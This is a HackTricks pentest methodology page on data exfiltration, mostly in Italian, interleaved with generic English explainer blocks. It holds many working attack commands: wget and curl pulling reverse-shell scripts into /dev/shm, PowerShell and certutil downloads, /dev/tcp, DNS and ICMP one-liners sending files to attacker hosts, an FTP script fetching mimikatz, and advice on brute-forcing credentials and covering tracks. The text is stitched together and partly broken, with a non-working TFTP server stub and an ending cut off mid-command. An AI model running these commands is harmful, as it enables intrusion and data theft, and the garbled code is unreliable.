hacktricks/generic-methodologies-and-resources/exfiltration.md
2024-02-10 13:03:23 +00:00

857 lines
40 KiB
Markdown

# Esfiltrazione
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trova le vulnerabilità più importanti in modo da poterle correggere più velocemente. Intruder traccia la tua superficie di attacco, esegue scansioni proattive delle minacce, trova problemi in tutta la tua infrastruttura tecnologica, dalle API alle applicazioni web e ai sistemi cloud. [**Provalo gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) oggi.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Domini comunemente autorizzati per esfiltrare informazioni
Controlla [https://lots-project.com/](https://lots-project.com/) per trovare i domini comunemente autorizzati che possono essere abusati
## Copia e incolla Base64
**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Windows**
# Exfiltration
Exfiltration is the process of unauthorized data transfer from a target system to an external location controlled by an attacker. In the context of hacking, exfiltration is a crucial step to steal sensitive information or gain unauthorized access to a network.
## Techniques
### 1. File Transfer Protocol (FTP)
FTP is a standard network protocol used to transfer files between a client and a server on a computer network. Attackers can use FTP to exfiltrate data by connecting to an FTP server and uploading the stolen files.
### 2. Hypertext Transfer Protocol (HTTP)
HTTP is the protocol used for transmitting hypertext over the internet. Attackers can use HTTP to exfiltrate data by sending HTTP requests to a remote server, either by embedding the data in the request or by uploading files.
### 3. Domain Name System (DNS)
DNS is a hierarchical decentralized naming system for computers, services, or other resources connected to the internet. Attackers can use DNS exfiltration techniques to encode and send stolen data within DNS queries or responses.
### 4. Email
Attackers can exfiltrate data by sending it as email attachments or by using steganography techniques to hide the data within the email content.
### 5. Cloud Storage
Attackers can leverage cloud storage platforms to exfiltrate data by uploading the stolen files to cloud accounts under their control.
### 6. Remote Desktop Protocol (RDP)
RDP is a proprietary protocol developed by Microsoft that allows a user to connect to another computer over a network connection. Attackers can use RDP to exfiltrate data by transferring files or using remote desktop functionality to access and copy sensitive information.
### 7. USB Devices
Attackers can physically connect USB devices to a target system to exfiltrate data by copying files onto the device or using specialized tools to extract data from the system.
### 8. Covert Channels
Covert channels are hidden communication channels that can be used to exfiltrate data without being detected. Attackers can use techniques such as steganography, encryption, or tunneling protocols to establish covert channels for data exfiltration.
## Countermeasures
To prevent exfiltration attacks, it is important to implement the following countermeasures:
- Implement strong access controls and authentication mechanisms to prevent unauthorized access to sensitive data.
- Use encryption to protect data in transit and at rest.
- Monitor network traffic for suspicious activities and implement intrusion detection and prevention systems.
- Regularly update and patch software to fix vulnerabilities that could be exploited for exfiltration.
- Implement data loss prevention (DLP) solutions to detect and prevent unauthorized data transfers.
- Educate employees about the risks of exfiltration and implement security awareness training programs.
By implementing these countermeasures, organizations can significantly reduce the risk of data exfiltration and protect their sensitive information from falling into the wrong hands.
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP
**Linux**
### Exfiltrazione tramite HTTP
L'HTTP (Hypertext Transfer Protocol) è un protocollo di comunicazione utilizzato per il trasferimento di dati su Internet. Può essere sfruttato per esfiltrare dati sensibili da un sistema Linux.
#### Metodo 1: Utilizzo di cURL
cURL è uno strumento di linea di comando che consente di inviare richieste HTTP. Può essere utilizzato per eseguire una richiesta POST contenente i dati da esfiltrare.
```bash
$ curl -X POST -d "dati_da_esfiltrare" http://indirizzo_del_server
```
#### Metodo 2: Utilizzo di wget
wget è un altro strumento di linea di comando che consente di scaricare file da Internet. Può essere utilizzato per eseguire una richiesta GET contenente i dati da esfiltrare.
```bash
$ wget "http://indirizzo_del_server?dati_da_esfiltrare"
```
#### Metodo 3: Utilizzo di netcat
netcat è uno strumento di rete che consente di creare connessioni TCP o UDP. Può essere utilizzato per inviare i dati da esfiltrare a un server remoto.
```bash
$ echo "dati_da_esfiltrare" | nc indirizzo_del_server porta
```
#### Metodo 4: Utilizzo di Python
Python è un linguaggio di programmazione molto potente e flessibile. Può essere utilizzato per creare uno script personalizzato per eseguire l'esfiltrazione dei dati tramite HTTP.
```python
import requests
url = "http://indirizzo_del_server"
data = {"dati_da_esfiltrare": "valore"}
response = requests.post(url, data=data)
```
#### Metodo 5: Utilizzo di PowerShell
PowerShell è una shell di scripting e un linguaggio di programmazione sviluppato da Microsoft. Può essere utilizzato per eseguire richieste HTTP e inviare i dati da esfiltrare a un server remoto.
```powershell
$uri = "http://indirizzo_del_server"
$data = "dati_da_esfiltrare"
Invoke-WebRequest -Uri $uri -Method POST -Body $data
```
#### Metodo 6: Utilizzo di PHP
PHP è un linguaggio di scripting ampiamente utilizzato per lo sviluppo web. Può essere utilizzato per creare uno script personalizzato per eseguire l'esfiltrazione dei dati tramite HTTP.
```php
<?php
$url = "http://indirizzo_del_server";
$data = array("dati_da_esfiltrare" => "valore");
$options = array(
"http" => array(
"header" => "Content-type: application/x-www-form-urlencoded\r\n",
"method" => "POST",
"content" => http_build_query($data),
),
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
?>
```
#### Metodo 7: Utilizzo di Ruby
Ruby è un linguaggio di programmazione dinamico, orientato agli oggetti e open source. Può essere utilizzato per creare uno script personalizzato per eseguire l'esfiltrazione dei dati tramite HTTP.
```ruby
require 'net/http'
url = URI.parse("http://indirizzo_del_server")
data = "dati_da_esfiltrare"
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Post.new(url.path)
request.body = data
response = http.request(request)
```
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Windows**
# Exfiltration
Exfiltration is the process of unauthorized data transfer from a target system to an external location controlled by an attacker. In the context of hacking, exfiltration is a crucial step to steal sensitive information or gain unauthorized access to a network.
## Techniques
### 1. File Transfer Protocol (FTP)
FTP is a standard network protocol used to transfer files between a client and a server on a computer network. Attackers can exploit FTP vulnerabilities to exfiltrate data from a compromised Windows system.
### 2. Remote Desktop Protocol (RDP)
RDP is a proprietary protocol developed by Microsoft that allows users to connect to a remote computer over a network connection. Attackers can abuse RDP to gain unauthorized access to a Windows system and exfiltrate data.
### 3. Web-based Exfiltration
Attackers can use web-based exfiltration techniques to transfer data from a compromised Windows system to an external server. This can be done through various methods, such as uploading files to a cloud storage service or sending data via HTTP requests.
### 4. DNS Tunneling
DNS tunneling is a technique that allows attackers to bypass network security measures by encapsulating data within DNS queries and responses. Attackers can use DNS tunneling to exfiltrate data from a compromised Windows system without raising suspicion.
### 5. Steganography
Steganography is the practice of concealing data within another file or message to avoid detection. Attackers can use steganography techniques to hide exfiltrated data within innocent-looking files, such as images or documents.
## Countermeasures
To prevent exfiltration attacks on Windows systems, it is important to implement the following countermeasures:
- Regularly update and patch Windows systems to address known vulnerabilities.
- Implement strong access controls and authentication mechanisms to prevent unauthorized access to sensitive data.
- Use network monitoring tools to detect and block suspicious network traffic.
- Employ data loss prevention (DLP) solutions to monitor and prevent the unauthorized transfer of sensitive data.
- Educate users about the risks of phishing attacks and social engineering techniques that can lead to data exfiltration.
By implementing these countermeasures, organizations can significantly reduce the risk of data exfiltration and protect their sensitive information.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Caricare file
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer che stampa GET e POST (anche gli header)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Modulo Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world
# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **Server HTTPS**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:443
### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###
### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###
### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## FTP
### Server FTP (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### Server FTP (NodeJS)
#### Description
The FTP server is a NodeJS application that allows users to upload and download files using the FTP protocol. It provides a simple and convenient way to transfer files between a client and a server.
#### Vulnerability
The FTP server may have vulnerabilities that can be exploited by attackers to gain unauthorized access to the server or to exfiltrate sensitive data. Some common vulnerabilities include weak passwords, outdated software versions, and misconfigured permissions.
#### Exploitation
To exploit vulnerabilities in the FTP server, attackers can use various techniques such as brute-forcing passwords, exploiting known vulnerabilities in the FTP software, or leveraging misconfigured permissions to gain unauthorized access.
#### Mitigation
To mitigate the risks associated with the FTP server, it is important to follow security best practices. This includes using strong and unique passwords, keeping the software up to date with the latest security patches, and properly configuring permissions to restrict access to sensitive files.
#### References
- [NodeJS FTP Server Documentation](https://www.npmjs.com/package/ftp-server)
- [OWASP FTP Security Best Practices](https://owasp.org/www-community/vulnerabilities/FTP_Security_Cheat_Sheet)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### Server FTP (pure-ftp)
#### Description
FTP (File Transfer Protocol) is a standard network protocol used for transferring files between a client and a server on a computer network. Pure-FTP is a popular FTP server software that provides a secure and efficient way to transfer files.
#### Exfiltration Methodology
1. Identify the target FTP server: Determine the IP address or domain name of the FTP server you want to exfiltrate data from.
2. Enumerate FTP server: Use tools like Nmap or Netcat to scan the target FTP server for open ports and services. Look for port 21, which is the default port for FTP.
3. Enumerate FTP users: Use tools like Nmap or Netcat to enumerate FTP users on the target server. This can help you identify valid usernames to use for authentication.
4. Brute-force FTP credentials: Use tools like Hydra or Medusa to perform brute-force attacks against the FTP server. Try common username and password combinations to gain unauthorized access.
5. Gain access to FTP server: Once you have valid FTP credentials, use an FTP client like FileZilla or WinSCP to connect to the FTP server and gain access to its file system.
6. Exfiltrate data: Navigate through the FTP server's file system and locate the files you want to exfiltrate. Use the FTP client to download these files to your local machine.
7. Cover your tracks: After exfiltrating the desired data, make sure to delete any traces of your activities on the FTP server. This can include deleting the downloaded files, clearing the FTP client's history, and removing any log files that may have been generated.
#### Countermeasures
To protect against FTP exfiltration attacks, consider implementing the following countermeasures:
- Use strong and unique passwords for FTP accounts.
- Enable FTP over TLS/SSL to encrypt data during transmission.
- Implement intrusion detection and prevention systems to detect and block suspicious FTP activities.
- Regularly monitor FTP server logs for any unauthorized access attempts.
- Limit the number of failed login attempts to prevent brute-force attacks.
- Keep the FTP server software up to date with the latest security patches.
- Consider using alternative file transfer methods, such as SFTP or SCP, which provide stronger security features.
```bash
apt-get update && apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Client** Windows
Il client **Windows** è un sistema operativo ampiamente utilizzato che offre molte opportunità per l'esfiltrazione di dati. Di seguito sono riportate alcune tecniche comuni utilizzate per eseguire l'esfiltrazione dei dati da un client **Windows**.
#### **1. Utilizzo di strumenti di terze parti**
Esistono molti strumenti di terze parti disponibili per l'esfiltrazione dei dati da un client **Windows**. Questi strumenti possono essere utilizzati per copiare i dati su un server remoto o per inviare i dati tramite protocolli di rete come FTP, HTTP o SMTP.
#### **2. Utilizzo di script di PowerShell**
PowerShell è un potente strumento di scripting integrato in **Windows** che può essere utilizzato per eseguire l'esfiltrazione dei dati. Gli script di PowerShell possono essere utilizzati per copiare i dati su un server remoto, inviare i dati tramite protocolli di rete o crittografare i dati prima dell'esfiltrazione.
#### **3. Utilizzo di tunneling**
Il tunneling è una tecnica che consente di inviare dati attraverso un canale di comunicazione diverso da quello previsto. Ad esempio, è possibile utilizzare il tunneling per inviare dati attraverso il protocollo DNS o il protocollo ICMP.
#### **4. Utilizzo di servizi di cloud storage**
I servizi di cloud storage come **Dropbox**, **Google Drive** o **OneDrive** possono essere utilizzati per eseguire l'esfiltrazione dei dati da un client **Windows**. I dati possono essere caricati su questi servizi di cloud storage e successivamente scaricati su un altro dispositivo.
#### **5. Utilizzo di dispositivi di archiviazione esterni**
I dispositivi di archiviazione esterni come le chiavette USB o i dischi rigidi esterni possono essere utilizzati per copiare i dati da un client **Windows** e successivamente trasferirli su un altro dispositivo.
#### **6. Utilizzo di protocolli di rete non standard**
I protocolli di rete non standard possono essere utilizzati per eseguire l'esfiltrazione dei dati da un client **Windows**. Ad esempio, è possibile utilizzare un protocollo di rete personalizzato per inviare i dati a un server remoto.
#### **7. Utilizzo di canali nascosti**
I canali nascosti sono tecniche che consentono di nascondere i dati all'interno di file o comunicazioni apparentemente innocenti. Ad esempio, è possibile nascondere i dati all'interno di immagini o file audio.
#### **8. Utilizzo di malware**
Il malware può essere utilizzato per eseguire l'esfiltrazione dei dati da un client **Windows**. Il malware può essere progettato per copiare i dati su un server remoto o per inviare i dati tramite protocolli di rete.
Queste sono solo alcune delle tecniche comuni utilizzate per eseguire l'esfiltrazione dei dati da un client **Windows**. È importante tenere presente che l'esfiltrazione dei dati senza autorizzazione è un'attività illegale e può comportare conseguenze legali gravi.
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trova le vulnerabilità che contano di più in modo da poterle correggere più velocemente. Intruder traccia la tua superficie di attacco, esegue scansioni proattive delle minacce, trova problemi in tutta la tua infrastruttura tecnologica, dalle API alle applicazioni web e ai sistemi cloud. [**Provalo gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) oggi stesso.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## SMB
Kali come server
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
O crea una condivisione smb **utilizzando samba**:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
# Esfiltrazione dei dati in Windows
In Windows, ci sono diverse tecniche che possono essere utilizzate per esfiltrare dati da un sistema compromesso. Di seguito sono elencate alcune delle tecniche più comuni:
## Utilizzo di comandi di rete
I comandi di rete possono essere utilizzati per inviare dati da un sistema compromesso a un server remoto. Alcuni esempi di comandi di rete che possono essere utilizzati includono:
- `ping`: può essere utilizzato per inviare dati a un indirizzo IP specifico utilizzando il campo dati dei pacchetti ICMP.
- `nslookup`: può essere utilizzato per inviare dati a un server DNS specifico utilizzando il campo dati delle richieste DNS.
- `curl`: può essere utilizzato per inviare dati a un server web utilizzando richieste HTTP o HTTPS.
## Utilizzo di servizi di file hosting
I servizi di file hosting possono essere utilizzati per caricare file da un sistema compromesso e quindi scaricarli su un altro sistema. Alcuni esempi di servizi di file hosting includono:
- Dropbox
- Google Drive
- OneDrive
## Utilizzo di tunneling
Il tunneling può essere utilizzato per inviare dati da un sistema compromesso a un server remoto attraverso un canale crittografato. Alcuni esempi di strumenti di tunneling che possono essere utilizzati includono:
- SSH tunneling
- VPN tunneling
## Utilizzo di canali nascosti
I canali nascosti possono essere utilizzati per nascondere dati all'interno di file o comunicazioni apparentemente innocue. Alcuni esempi di tecniche di canale nascosto includono:
- Steganografia: nascondere dati all'interno di file multimediali come immagini o audio.
- Criptografia steganografica: nascondere dati all'interno di file crittografati.
- Tunneling HTTP: nascondere dati all'interno di richieste HTTP.
## Utilizzo di dispositivi di archiviazione esterni
I dispositivi di archiviazione esterni, come le chiavette USB o i dischi rigidi esterni, possono essere utilizzati per copiare dati da un sistema compromesso e quindi trasferirli su un altro sistema.
## Utilizzo di servizi di messaggistica
I servizi di messaggistica possono essere utilizzati per inviare dati da un sistema compromesso a un altro sistema. Alcuni esempi di servizi di messaggistica includono:
- Email
- Messaggistica istantanea (come WhatsApp o Telegram)
- Servizi di posta elettronica criptata (come ProtonMail)
Queste sono solo alcune delle tecniche di esfiltrazione dei dati che possono essere utilizzate in un ambiente Windows. È importante notare che l'utilizzo di queste tecniche per scopi illegali o non autorizzati è un reato.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP
L'attaccante deve avere SSHd in esecuzione.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Se la vittima ha SSH, l'attaccante può montare una directory dalla vittima all'attaccante.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC
NC (Netcat) è uno strumento versatile per la comunicazione di rete che può essere utilizzato per l'esfiltrazione dei dati. Può essere utilizzato sia come client che come server per stabilire connessioni TCP o UDP e trasferire dati tra host.
Per esfiltrare dati utilizzando NC, è possibile utilizzare il seguente comando come server:
```
nc -l -p <port> > <output_file>
```
Questo comando avvierà un server NC in ascolto sulla porta specificata e i dati ricevuti saranno scritti nel file di output specificato.
Come client, è possibile utilizzare il seguente comando per inviare dati a un server NC:
```
nc <server_ip> <port> < <input_file>
```
Questo comando si connetterà al server NC specificato e invierà i dati dal file di input specificato.
NC può essere utilizzato anche per eseguire comandi remoti su un host e ottenere l'output. Ad esempio, è possibile utilizzare il seguente comando per eseguire un comando remoto su un host e salvare l'output in un file:
```
echo "<command>" | nc <host_ip> <port> > <output_file>
```
Questo comando invierà il comando specificato al server NC e salverà l'output nel file di output specificato.
NC è uno strumento potente per l'esfiltrazione dei dati e può essere utilizzato in vari scenari durante un test di penetrazione. Tuttavia, è importante utilizzarlo in modo responsabile e nel rispetto delle leggi e delle politiche applicabili.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
```bash
cat /path/to/file > /dev/tcp/attacker_ip/attacker_port
```
This method allows you to download a file from the victim machine to the attacker machine using the `/dev/tcp` device file. Replace `/path/to/file` with the path of the file you want to download, `attacker_ip` with the IP address of the attacker machine, and `attacker_port` with the port number on which the attacker machine is listening.
### Upload file to victim
```bash
cat /path/to/file | nc -l -p victim_port
```
This method allows you to upload a file from the attacker machine to the victim machine using the `nc` command. Replace `/path/to/file` with the path of the file you want to upload and `victim_port` with the port number on which the victim machine is listening.
### Exfiltrate data using DNS
```bash
base64 /path/to/file | xargs -I{} -n1 bash -c 'echo -n {}. | xxd -p | tr -d "\n" | sed "s/\(..\)/\1./g"; echo attacker_domain' | xargs -I{} -n1 dig +short {}.attacker_domain
```
This method allows you to exfiltrate data from the victim machine to the attacker machine using DNS requests. Replace `/path/to/file` with the path of the file you want to exfiltrate and `attacker_domain` with the domain name of the attacker machine.
### Exfiltrate data using ICMP
```bash
base64 /path/to/file | xargs -I{} -n1 bash -c 'echo -n {}. | xxd -p | tr -d "\n" | sed "s/\(..\)/\1 /g"; echo attacker_ip' | xargs -I{} -n1 ping -c 1 -p {} -s 0 attacker_ip
```
This method allows you to exfiltrate data from the victim machine to the attacker machine using ICMP packets. Replace `/path/to/file` with the path of the file you want to exfiltrate and `attacker_ip` with the IP address of the attacker machine.
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Caricare un file sulla vittima
To upload a file to the victim's system, you can use various methods depending on the access and privileges you have gained. Here are some common techniques:
#### 1. Web-based file upload
If the victim's system has a web application that allows file uploads, you can exploit this functionality to upload your file. Look for vulnerabilities such as insufficient file type validation, unrestricted file size, or inadequate file permissions. Craft a malicious file and upload it using the web interface.
#### 2. File transfer protocols
If you have access to the victim's system or network, you can use file transfer protocols like FTP (File Transfer Protocol), SFTP (Secure File Transfer Protocol), or SCP (Secure Copy) to transfer your file. These protocols require valid credentials or vulnerabilities in the configuration to exploit.
#### 3. Email attachments
If you have access to the victim's email account, you can send an email with the file attached. Craft a convincing email and make sure the victim opens the attachment. This method requires social engineering skills to trick the victim into opening the attachment.
#### 4. Cloud storage platforms
If the victim uses cloud storage platforms like Dropbox, Google Drive, or OneDrive, you can try to gain access to their account and upload your file. Look for vulnerabilities in the authentication process or weak passwords to exploit.
#### 5. Remote code execution
If you have gained remote code execution on the victim's system, you can use this access to upload your file. Exploit vulnerabilities in the system or application to execute arbitrary code and transfer your file to the desired location.
Remember to cover your tracks and avoid detection while uploading the file. Use encryption, obfuscation, or steganography techniques to hide the file and make it harder to detect.
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
Grazie a **@BinaryShadow\_**
## **ICMP**
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Se puoi inviare dati a un server SMTP, puoi creare un server SMTP per ricevere i dati con python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Di default in XP e 2003 (in altri sistemi operativi deve essere esplicitamente aggiunto durante l'installazione)
In Kali, **avvia il server TFTP**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**Server TFTP in python:**
```python
import socket
import struct
def tftp_server():
# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 69))
while True:
data, addr = sock.recvfrom(1024)
opcode = struct.unpack('!H', data[:2])[0]
if opcode == 1: # Read request
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
# Process the read request and send the file
# ...
elif opcode == 2: # Write request
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
# Process the write request and receive the file
# ...
else:
# Invalid opcode
# ...
if __name__ == '__main__':
tftp_server()
```
This code snippet shows a simple TFTP (Trivial File Transfer Protocol) server implemented in Python. The server listens on port 69 and handles read and write requests from TFTP clients.
The server uses a UDP socket to receive data from clients. It binds to the IP address '0.0.0.0' and port 69, which is the default port for TFTP.
The server enters a loop where it continuously waits for incoming data. When a packet is received, the server extracts the opcode from the packet header. The opcode indicates the type of request: 1 for read request (RRQ) and 2 for write request (WRQ).
If the opcode is 1, the server processes the read request by extracting the filename and mode from the packet. The server can then perform any necessary operations to retrieve the requested file and send it back to the client.
If the opcode is 2, the server processes the write request by extracting the filename and mode from the packet. The server can then perform any necessary operations to receive the file from the client and save it.
If the opcode is neither 1 nor 2, the server handles the invalid opcode accordingly.
The code snippet provides a basic structure for a TFTP server in Python. Additional functionality, such as error handling and security measures, can be added as needed.
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
In **vittima**, connettiti al server Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Scarica un file con un oneliner PHP:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
VBScript (Visual Basic Scripting Edition) è un linguaggio di scripting basato su Visual Basic, utilizzato principalmente per l'automazione di attività su sistemi Windows. Può essere utilizzato anche per esfiltrare dati da un sistema compromesso.
### Esfiltrazione tramite VBScript
VBScript può essere utilizzato per esfiltrare dati da un sistema compromesso in diversi modi:
1. **Esfiltrazione tramite email**: VBScript può essere utilizzato per inviare dati sensibili tramite email. È possibile utilizzare la funzione `SendMail` per inviare un'email contenente i dati esfiltrati a un indirizzo specificato.
```vbscript
Set objEmail = CreateObject("CDO.Message")
objEmail.From = "mittente@example.com"
objEmail.To = "destinatario@example.com"
objEmail.Subject = "Dati esfiltrati"
objEmail.TextBody = "Questi sono i dati esfiltrati: <dati>"
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com"
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update
objEmail.Send
```
2. **Esfiltrazione tramite HTTP**: VBScript può essere utilizzato per inviare dati sensibili a un server remoto tramite una richiesta HTTP. È possibile utilizzare la funzione `WinHttp` per inviare una richiesta POST contenente i dati esfiltrati.
```vbscript
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
objHTTP.Open "POST", "http://server.example.com/esfiltrazione", False
objHTTP.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.Send "dati=<dati>"
```
3. **Esfiltrazione tramite FTP**: VBScript può essere utilizzato per caricare dati sensibili su un server FTP remoto. È possibile utilizzare la funzione `FTP` per connettersi a un server FTP e caricare i dati esfiltrati.
```vbscript
Set objFTP = CreateObject("Microsoft.XMLHTTP")
objFTP.Open "PUT", "ftp://server.example.com/directory/dati.txt", False
objFTP.Send "<dati>"
```
4. **Esfiltrazione tramite cloud storage**: VBScript può essere utilizzato per caricare dati sensibili su un servizio di archiviazione cloud come Google Drive o Dropbox. È possibile utilizzare le API del servizio cloud per caricare i dati esfiltrati.
```vbscript
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("C:\directory\dati.txt", True)
objFile.Write "<dati>"
objFile.Close
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /c gdrive upload C:\directory\dati.txt"
```
### Conclusioni
VBScript può essere utilizzato per esfiltrare dati da un sistema compromesso in diversi modi, tra cui l'invio di email, l'invio di richieste HTTP, il caricamento su server FTP e l'utilizzo di servizi di archiviazione cloud. È importante comprendere queste tecniche per poterle rilevare e mitigare efficacemente durante un'attività di pentesting o di difesa delle infrastrutture.
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Vittima**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
